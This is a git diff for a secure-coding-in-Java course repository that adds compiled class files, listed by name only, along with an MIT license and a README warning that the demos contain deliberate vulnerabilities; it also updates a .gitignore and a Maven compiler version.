a/JavaSCR9/target/classes/STR03J/ByteToString.class b/JavaSCR9/target/classes/STR03J/ByteToString.class new file mode 100644 index 0000000..9b294f3 Binary files /dev/null and b/JavaSCR9/target/classes/STR03J/ByteToString.class differ diff --git a/JavaSCR9/target/classes/STR05J/CharsetConversion.class b/JavaSCR9/target/classes/STR05J/CharsetConversion.class new file mode 100644 index 0000000..4594d6e Binary files /dev/null and b/JavaSCR9/target/classes/STR05J/CharsetConversion.class differ diff --git a/JavaSCR9/target/classes/err00j/MethodCallStack.class b/JavaSCR9/target/classes/err00j/MethodCallStack.class new file mode 100644 index 0000000..d8c69c6 Binary files /dev/null and b/JavaSCR9/target/classes/err00j/MethodCallStack.class differ diff --git a/JavaSCR9/target/classes/err03j/Dimensions.class b/JavaSCR9/target/classes/err03j/Dimensions.class new file mode 100644 index 0000000..3fc7e02 Binary files /dev/null and b/JavaSCR9/target/classes/err03j/Dimensions.class differ diff --git a/JavaSCR9/target/classes/err03j/VolumeException.class b/JavaSCR9/target/classes/err03j/VolumeException.class new file mode 100644 index 0000000..d494fa3 Binary files /dev/null and b/JavaSCR9/target/classes/err03j/VolumeException.class differ diff --git a/JavaSCR9/target/classes/err03j/WeightException.class b/JavaSCR9/target/classes/err03j/WeightException.class new file mode 100644 index 0000000..c99e23a Binary files /dev/null and b/JavaSCR9/target/classes/err03j/WeightException.class differ diff --git a/JavaSCR9/target/classes/err06j/NewInstance.class b/JavaSCR9/target/classes/err06j/NewInstance.class new file mode 100644 index 0000000..83fe5ae Binary files /dev/null and b/JavaSCR9/target/classes/err06j/NewInstance.class differ diff --git a/JavaSCR9/target/classes/err06j/Parser.class b/JavaSCR9/target/classes/err06j/Parser.class new file mode 100644 index 0000000..d5a9e58 Binary files /dev/null and b/JavaSCR9/target/classes/err06j/Parser.class differ diff --git a/JavaSCR9/target/classes/err11j/DAOException.class b/JavaSCR9/target/classes/err11j/DAOException.class new file mode 100644 index 0000000..a60cd6c Binary files /dev/null and b/JavaSCR9/target/classes/err11j/DAOException.class differ diff --git a/JavaSCR9/target/classes/err11j/DatabaseUtils.class b/JavaSCR9/target/classes/err11j/DatabaseUtils.class new file mode 100644 index 0000000..51d7abe Binary files /dev/null and b/JavaSCR9/target/classes/err11j/DatabaseUtils.class differ diff --git a/JavaSCR9/target/classes/err11j/EmployeeDAO.class b/JavaSCR9/target/classes/err11j/EmployeeDAO.class new file mode 100644 index 0000000..1167d9e Binary files /dev/null and b/JavaSCR9/target/classes/err11j/EmployeeDAO.class differ diff --git a/JavaSCR9/target/classes/err11j/EmployeeException.class b/JavaSCR9/target/classes/err11j/EmployeeException.class new file mode 100644 index 0000000..46edd40 Binary files /dev/null and b/JavaSCR9/target/classes/err11j/EmployeeException.class differ diff --git a/JavaSCR9/target/classes/err11j/Employer.class b/JavaSCR9/target/classes/err11j/Employer.class new file mode 100644 index 0000000..13df325 Binary files /dev/null and b/JavaSCR9/target/classes/err11j/Employer.class differ diff --git a/JavaSCR9/target/classes/err11j/Program.class b/JavaSCR9/target/classes/err11j/Program.class new file mode 100644 index 0000000..e8baa2c Binary files /dev/null and b/JavaSCR9/target/classes/err11j/Program.class differ diff --git a/JavaSCR9/target/classes/err12j/PartOne.class b/JavaSCR9/target/classes/err12j/PartOne.class new file mode 100644 index 0000000..a2a496e Binary files /dev/null and b/JavaSCR9/target/classes/err12j/PartOne.class differ diff --git a/JavaSCR9/target/classes/err12j/PartTwo.class b/JavaSCR9/target/classes/err12j/PartTwo.class new file mode 100644 index 0000000..c66649b Binary files /dev/null and b/JavaSCR9/target/classes/err12j/PartTwo.class differ diff --git a/JavaSCR9/target/classes/err12j/Whole.class b/JavaSCR9/target/classes/err12j/Whole.class new file mode 100644 index 0000000..6e74f69 Binary files /dev/null and b/JavaSCR9/target/classes/err12j/Whole.class differ diff --git a/JavaSCR9/target/classes/err13j/DefaultUncaughtExceptionHandler.class b/JavaSCR9/target/classes/err13j/DefaultUncaughtExceptionHandler.class new file mode 100644 index 0000000..dca2ebf Binary files /dev/null and b/JavaSCR9/target/classes/err13j/DefaultUncaughtExceptionHandler.class differ diff --git a/JavaSCR9/target/classes/jackpoly/Animal.class b/JavaSCR9/target/classes/jackpoly/Animal.class new file mode 100644 index 0000000..c1f9272 Binary files /dev/null and b/JavaSCR9/target/classes/jackpoly/Animal.class differ diff --git a/JavaSCR9/target/classes/jackpoly/Cat.class b/JavaSCR9/target/classes/jackpoly/Cat.class new file mode 100644 index 0000000..92043eb Binary files /dev/null and b/JavaSCR9/target/classes/jackpoly/Cat.class differ diff --git a/JavaSCR9/target/classes/jackpoly/Elephant.class b/JavaSCR9/target/classes/jackpoly/Elephant.class new file mode 100644 index 0000000..c27e35a Binary files /dev/null and b/JavaSCR9/target/classes/jackpoly/Elephant.class differ diff --git a/JavaSCR9/target/classes/jackpoly/Lion.class b/JavaSCR9/target/classes/jackpoly/Lion.class new file mode 100644 index 0000000..75915a3 Binary files /dev/null and b/JavaSCR9/target/classes/jackpoly/Lion.class differ diff --git a/JavaSCR9/target/classes/jackpoly/Polymorphism.class b/JavaSCR9/target/classes/jackpoly/Polymorphism.class new file mode 100644 index 0000000..d59cca1 Binary files /dev/null and b/JavaSCR9/target/classes/jackpoly/Polymorphism.class differ diff --git a/JavaSCR9/target/classes/jackpoly/Zoo.class b/JavaSCR9/target/classes/jackpoly/Zoo.class new file mode 100644 index 0000000..ac0f45c Binary files /dev/null and b/JavaSCR9/target/classes/jackpoly/Zoo.class differ diff --git a/JavaSCR9/target/classes/obj14j/Leak.class b/JavaSCR9/target/classes/obj14j/Leak.class new file mode 100644 index 0000000..326006a Binary files /dev/null and b/JavaSCR9/target/classes/obj14j/Leak.class differ diff --git a/JavaSCR9/target/classes/obj14j/Spy.class b/JavaSCR9/target/classes/obj14j/Spy.class new file mode 100644 index 0000000..bfec8f9 Binary files /dev/null and b/JavaSCR9/target/classes/obj14j/Spy.class differ diff --git a/JavaSCR9/target/classes/ser00j/GameWeapon.class b/JavaSCR9/target/classes/ser00j/GameWeapon.class new file mode 100644 index 0000000..6a2c318 Binary files /dev/null and b/JavaSCR9/target/classes/ser00j/GameWeapon.class differ diff --git a/JavaSCR9/target/classes/ser00j/WeaponStore.class b/JavaSCR9/target/classes/ser00j/WeaponStore.class new file mode 100644 index 0000000..547556f Binary files /dev/null and b/JavaSCR9/target/classes/ser00j/WeaponStore.class differ diff --git a/JavaSCR9/target/classes/ser02j/MapSerializer.class b/JavaSCR9/target/classes/ser02j/MapSerializer.class new file mode 100644 index 0000000..d5b2569 Binary files /dev/null and b/JavaSCR9/target/classes/ser02j/MapSerializer.class differ diff --git a/JavaSCR9/target/classes/ser02j/SerializableMap.class b/JavaSCR9/target/classes/ser02j/SerializableMap.class new file mode 100644 index 0000000..9b737f6 Binary files /dev/null and b/JavaSCR9/target/classes/ser02j/SerializableMap.class differ diff --git a/JavaSCR9/target/classes/ser03j/Malicious.class b/JavaSCR9/target/classes/ser03j/Malicious.class new file mode 100644 index 0000000..e53622f Binary files /dev/null and b/JavaSCR9/target/classes/ser03j/Malicious.class differ diff --git a/JavaSCR9/target/classes/ser03j/Singleton.class b/JavaSCR9/target/classes/ser03j/Singleton.class new file mode 100644 index 0000000..64ba80c Binary files /dev/null and b/JavaSCR9/target/classes/ser03j/Singleton.class differ diff --git a/JavaSCR9/target/classes/ser04j/Hometown.class b/JavaSCR9/target/classes/ser04j/Hometown.class new file mode 100644 index 0000000..9bedee2 Binary files /dev/null and b/JavaSCR9/target/classes/ser04j/Hometown.class differ diff --git a/JavaSCR9/target/classes/ser06j/SerialDOS.class b/JavaSCR9/target/classes/ser06j/SerialDOS.class new file mode 100644 index 0000000..11c0456 Binary files /dev/null and b/JavaSCR9/target/classes/ser06j/SerialDOS.class differ diff --git a/JavaSCR9/target/classes/ser07j/Period$SerializationProxy.class b/JavaSCR9/target/classes/ser07j/Period$SerializationProxy.class new file mode 100644 index 0000000..70adce6 Binary files /dev/null and b/JavaSCR9/target/classes/ser07j/Period$SerializationProxy.class differ diff --git a/JavaSCR9/target/classes/ser07j/Period.class b/JavaSCR9/target/classes/ser07j/Period.class new file mode 100644 index 0000000..bbf2edb Binary files /dev/null and b/JavaSCR9/target/classes/ser07j/Period.class differ diff --git a/JavaSCR9/target/classes/ser08j/BogusPeriod.class b/JavaSCR9/target/classes/ser08j/BogusPeriod.class new file mode 100644 index 0000000..7a72ef2 Binary files /dev/null and b/JavaSCR9/target/classes/ser08j/BogusPeriod.class differ diff --git a/JavaSCR9/target/classes/ser08j/MutablePeriod.class b/JavaSCR9/target/classes/ser08j/MutablePeriod.class new file mode 100644 index 0000000..5e7fb7a Binary files /dev/null and b/JavaSCR9/target/classes/ser08j/MutablePeriod.class differ diff --git a/JavaSCR9/target/classes/ser08j/Period.class b/JavaSCR9/target/classes/ser08j/Period.class new file mode 100644 index 0000000..6d388f5 Binary files /dev/null and b/JavaSCR9/target/classes/ser08j/Period.class differ diff --git a/JavaSCR9/target/classes/ser09j/Bicycle.class b/JavaSCR9/target/classes/ser09j/Bicycle.class new file mode 100644 index 0000000..f99478d Binary files /dev/null and b/JavaSCR9/target/classes/ser09j/Bicycle.class differ diff --git a/JavaSCR9/target/classes/ser09j/BikeFilter.class b/JavaSCR9/target/classes/ser09j/BikeFilter.class new file mode 100644 index 0000000..f0a6811 Binary files /dev/null and b/JavaSCR9/target/classes/ser09j/BikeFilter.class differ diff --git a/JavaSCR9/target/classes/ser09j/LookAheadDeserializer.class b/JavaSCR9/target/classes/ser09j/LookAheadDeserializer.class new file mode 100644 index 0000000..582f298 Binary files /dev/null and b/JavaSCR9/target/classes/ser09j/LookAheadDeserializer.class differ diff --git a/JavaSCR9/target/classes/ser101j/Gender.class b/JavaSCR9/target/classes/ser101j/Gender.class new file mode 100644 index 0000000..acc4287 Binary files /dev/null and b/JavaSCR9/target/classes/ser101j/Gender.class differ diff --git a/JavaSCR9/target/classes/ser101j/Person.class b/JavaSCR9/target/classes/ser101j/Person.class new file mode 100644 index 0000000..52ac87a Binary files /dev/null and b/JavaSCR9/target/classes/ser101j/Person.class differ diff --git a/JavaSCR9/target/classes/ser10j/DeserializeEnumSingleton.class b/JavaSCR9/target/classes/ser10j/DeserializeEnumSingleton.class new file mode 100644 index 0000000..5ddb121 Binary files /dev/null and b/JavaSCR9/target/classes/ser10j/DeserializeEnumSingleton.class differ diff --git a/JavaSCR9/target/classes/ser10j/DeserializeEnumSingletonUseCase.class b/JavaSCR9/target/classes/ser10j/DeserializeEnumSingletonUseCase.class new file mode 100644 index 0000000..195cc74 Binary files /dev/null and b/JavaSCR9/target/classes/ser10j/DeserializeEnumSingletonUseCase.class differ diff --git a/JavaSCR9/target/classes/ser10j/DeserializeSingleton.class b/JavaSCR9/target/classes/ser10j/DeserializeSingleton.class new file mode 100644 index 0000000..2a508d0 Binary files /dev/null and b/JavaSCR9/target/classes/ser10j/DeserializeSingleton.class differ diff --git a/JavaSCR9/target/classes/ser10j/EnumSingleton.class b/JavaSCR9/target/classes/ser10j/EnumSingleton.class new file mode 100644 index 0000000..85137ab Binary files /dev/null and b/JavaSCR9/target/classes/ser10j/EnumSingleton.class differ diff --git a/JavaSCR9/target/classes/ser10j/Singleton.class b/JavaSCR9/target/classes/ser10j/Singleton.class new file mode 100644 index 0000000..eca6dca Binary files /dev/null and b/JavaSCR9/target/classes/ser10j/Singleton.class differ diff --git a/JavaSCR9/target/classes/serial/Serial.class b/JavaSCR9/target/classes/serial/Serial.class new file mode 100644 index 0000000..f6eed11 Binary files /dev/null and b/JavaSCR9/target/classes/serial/Serial.class differ diff --git a/JavaSCR9/target/classes/ssrf/URI2IP.class b/JavaSCR9/target/classes/ssrf/URI2IP.class new file mode 100644 index 0000000..10ea135 Binary files /dev/null and b/JavaSCR9/target/classes/ssrf/URI2IP.class differ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..71d0c48 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2019 Robert C. Seacord + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..09b8d6b --- /dev/null +++ b/README.md @@ -0,0 +1,7 @@ +# Secure Coding for Java + +This repository contains the demos and exercises for the *Secure Coding in Java* course developed by Robert C. Seacord. + +Because this repostory contains demos and exercises for a secure coding course, many of the examples contain vulnerabilities and other nasty defects that you don't want to deploy in your system. +Consequently, we've left the message from Github that "We found potential security vulnerabilities in your dependencies" as a warning to others to be careful about incorporating these examples into your systems. +This code is mean for expository purposes only. diff --git a/acclib/.gitignore b/acclib/.gitignore index d7e7144..6414b46 100644 --- a/acclib/.gitignore +++ b/acclib/.gitignore @@ -1,6 +1,31 @@ # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and WebStorm # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 +# Compiled class file +*.class + +# Log file +*.log + +# BlueJ files +*.ctxt + +# Mobile Tools for Java (J2ME) +.mtj.tmp/ + +# Package Files # +*.jar +*.war +*.nar +*.ear +*.zip +*.tar.gz +*.rar + +# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml +hs_err_pid* +replay_pid* + /bin/ .idea/workspace.xml @@ -60,4 +85,4 @@ crashlytics-build.properties fabric.properties # Editor-based Rest Client -.idea/httpRequests +.idea/httpRequests \ No newline at end of file diff --git a/acclib/pom.xml b/acclib/pom.xml index c5f436b..7039c5f 100644 --- a/acclib/pom.xml +++ b/acclib/pom.xml @@ -14,8 +14,8 @@ org.apache.maven.plugins maven-compiler-plugin - 1.8 - 1.8 + 25 + 25